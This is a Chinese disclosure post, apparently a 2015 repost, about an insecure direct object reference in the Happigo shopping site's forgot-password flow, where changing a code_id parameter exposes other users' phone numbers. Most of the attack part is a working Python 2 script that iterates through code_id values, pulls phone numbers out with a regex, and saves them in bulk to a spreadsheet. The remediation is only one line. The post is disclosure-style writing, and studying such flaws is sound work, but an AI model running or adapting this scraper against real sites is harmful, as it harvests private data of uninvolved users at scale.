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快乐购大量用户敏感信息泄露,可批量获取用户

来源:自学PHP网    时间:2015-04-17 10:15 作者: 阅读:

[导读] 快乐购大量用户敏感信息泄露,可批量获取一、在忘记密码功能点,权限控制不严,存在大量用户敏感信息泄露url:m.happigo.com/user/login.php第一步进入登陆页面,点击忘记密码:第二步输...

快乐购大量用户敏感信息泄露,可批量获取

一、在忘记密码功能点,权限控制不严,存在大量用户敏感信息泄露
 
 
url:m.happigo.com/user/login.php
 
第一步进入登陆页面,点击忘记密码:
第二步输入用户名,手机号码,用于发送验证码
 
 
 
 
第三步要输入验证码,这里我们就不管了,现在看看url地址:
 
 
http://m.happigo.com/user/checkcode.php?code_id=16059
 
这个code_id就是存在问题,这里我是第16060位重置自己密码的用户,这里把用户的手机号码显示出来了,那么我们试试更改一下这个code_id,看能不能看到其他用户的手机号码。我们把code_id改为16059,如下图,果然可以看到其他用户的手机号码,上一个脚本爬出所有重置过密码的用户的手机号码,大量信息啊!!!
 
下面给出脚本批量获取到的用户信息。
 
============================================================================
 
 
#-*- coding:utf-8-*-
import urllib2
from tempfile import TemporaryFile
from xlwt import Workbook
import re

vulinfo_list = []
code_id_list = []

def req_url(code_id):
    url = "http://m.happigo.com/user/checkcode.php?code_id=%d" % code_id
    req = urllib2.Request(url)
    req.add_header( "Connection","keep-alive" ) 
    res = urllib2.urlopen( req )
    html = res.read()
    return html,code_id

def match_info(html,code_id):
    if re.search(r'\d{11}',html):
        phonenumber = re.search(r'\d{11}',html).group()
        print "[%s]手机号码:" % code_id,phonenumber
        vulinfo_list.append(int(phonenumber))
        code_id_list.append(int(code_id))    
    
def thread_run(sheet1):
    for code_id in range(16060):
        html,code_id = req_url(code_id)
        match_info(html,code_id)
    
    if len(code_id_list) == len(vulinfo_list):    
        for i in range(len(vulinfo_list)):
            #for j in range(0,2):
            sheet1.write(i,0,code_id_list[i])
            sheet1.write(i,1,vulinfo_list[i])

def run():
    book = Workbook()
    sheet1 = book.add_sheet('Sheet 1')
    thread_run(sheet1)
    
    book.save('happigo_user_phonenumber.xls')
    book.save(TemporaryFile())

if __name__ == "__main__":
run()

 

============================================================================
 
结果:
 
 



 
由于这是很早前的截取的信息,截止目前已经差不多到1w用户手机号码了。
 
 
 
二、声明
 
没有泄露任何截获到的用户信息,及进行非法操作。 

 
修复方案:

隐藏并控制好用户敏感信息
 

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